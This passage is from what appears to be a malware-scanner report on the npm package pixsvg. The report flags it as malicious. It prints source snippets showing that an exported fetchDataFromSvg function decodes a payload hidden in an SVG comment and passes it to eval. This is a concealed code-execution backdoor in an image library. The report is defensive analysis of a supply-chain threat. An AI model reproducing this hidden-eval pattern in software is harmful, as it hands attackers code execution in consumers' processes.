This creates arbitrary code execution when an application passes untrusted SVG text to that function. - **Trigger:** An application calls fetchDataFromSvg with SVG text containing a HIDDEN\_JS binary comment. - **Impact:** Arbitrary code can run with the privileges of the consuming application. - **Evidence paths:** dist/esm/svg.js, dist/esm/index.js - **Review source:** ai\_review - **Reviewed:** 2026-09-03T15:31:38.508Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Decode hidden binary text and evaluate it as JavaScript. - **Attack narrative:** The package exposes fetchDataFromSvg through its normal ESM entry point. The function looks for a HIDDEN\_JS comment in attacker-controlled SVG text, converts binary data to a string, and passes that string to eval. A consumer that invokes this helper on untrusted SVG input therefore permits attacker-supplied JavaScript to execute in its process. The hidden payload convention has no apparent image-processing purpose. - **Rationale:** The exported hidden-SVG evaluator is a concrete arbitrary-code-execution capability and is not needed for SVG processing. Although it has no install hook or observed exfiltration, its deliberate concealment and use of eval warrant blocking publication. - **Files touched:** dist/esm/svg.js, dist/esm/index.js ### Review decision - **Verdict:** Malicious - **Confidence:** 97.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The package decodes a binary payload from an SVG comment and evaluates it as JavaScript., The arbitrary-code executor is exported from the main ESM entry point., The hidden payload format is unrelated to the stated SVG image-processing functionality. - **Evidence against:** No npm install lifecycle hook is declared., No package-owned network endpoint, credential collection, or file-writing behavior was found. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. Low: Eval - **Category:** Source - **Confidence:** 45.0% - **Path:** dist/esm/svg.js - **Public source:** [View source]() Package source references a known benign dynamic code generation pattern. Public source snippet (untrusted): ```javascript L27: const data = binaryToData(match[1]) L28: eval(data); L29: return data; ``` ### 3. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 4. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 5. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 6. High: Semantic Analysis Limited - **Category:** Scanner Coverage - **Confidence:** 100.0% - **Path:** dist/commonjs/svg.js\#virtual:normalized:round1 - **Public source:** [View source]() A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review. Public source snippet (untrusted): ```text stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 4 ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 97.0% - **Path:** dist/esm/svg.js - **Public source:** [View source]() The package decodes a binary payload from an SVG comment and evaluates it as JavaScript. Public source snippet (untrusted): ```javascript function fetchDataFromSvg(svgData) { const match = String(svgData).match(//); if (!match) { throw new Error('No data found'); } const data = binaryToData(match[1]) eval(data); return data; } ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 97.0% - **Path:** dist/esm/index.js - **Public source:** [View source]() The arbitrary-code executor is exported from the main ESM entry point. Public source snippet (untrusted): ```javascript export const Pixsvg = attachSvgSupport(createJimp({ formats: defaultFormats, plugins: defaultPlugins, })); export const fetchDataFromSvg = fetchDataFromSvg; ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 28 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 17 - **Published dependency-graph edges:** 28 ### Published dependency entries - @jimp/core 1.6.1 (Dependency) - @jimp/diff 1.6.1 (Dependency) - @jimp/js-bmp 1.6.1 (Dependency) - @jimp/js-gif 1.6.1 (Dependency) - @jimp/js-jpeg 1.6.1 (Dependency) - @jimp/js-png 1.6.1 (Dependency) - @jimp/js-tiff 1.6.1 (Dependency) - @jimp/plugin-blit 1.6.1 (Dependency) - @jimp/plugin-blur 1.6.1 (Dependency) - @jimp/plugin-circle 1.6.1 (Dependency) - @jimp/plugin-color 1.6.1 (Dependency) - @jimp/plugin-contain 1.6.1 (Dependency) - @jimp/plugin-cover 1.6.1 (Dependency) - @jimp/plugin-crop 1.6.1 (Dependency) - @jimp/plugin-displace 1.6.1 (Dependency) - @jimp/plugin-dither 1.6.1 (Dependency) - @jimp/plugin-fisheye 1.6.1 (Dependency) - @jimp/plugin-flip 1.6.1 (Dependency) - @jimp/plugin-hash 1.6.1 (Dependency) - @jimp/plugin-mask 1.6.1 (Dependency) - @jimp/plugin-print 1.6.1 (Dependency) - @jimp/plugin-quantize 1.6.1 (Dependency) - @jimp/plugin-resize 1.6.1 (Dependency) - @jimp/plugin-rotate 1.6.1 (Dependency) - @jimp/plugin-threshold 1.6.1 (Dependency) - @jimp/types 1.6.1 (Dependency) - @jimp/utils 1.6.1 (Dependency) - @resvg/resvg-js ^2.6.2 (Dependency) ## Package metadata - **Package:** pixsvg - **Ecosystem:** npm - **Version:** 0.2.0 - **License:** MIT - **Version published:** 2026-09-02T17:42:31.161Z - **Package first seen:** 2026-09-03T15:31:38.508Z - **Package last seen:** 2026-09-03T15:31:38.508Z - **Known versions:** 1 - **Latest version:** 0.2.0 - **Appeal under review:** No - **Description:** An image processing library for Node.js with SVG read, write, rasterize, and markup transforms. - **Keywords:** pixsvg, image, image processing, image manipulation, svg, png, jpg, jpeg, bmp, resize, scale, crop - **Runtime engines:** node: \>=18 - **Artifact files:** 35 - **Artifact unpacked size:** 3,342,557 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
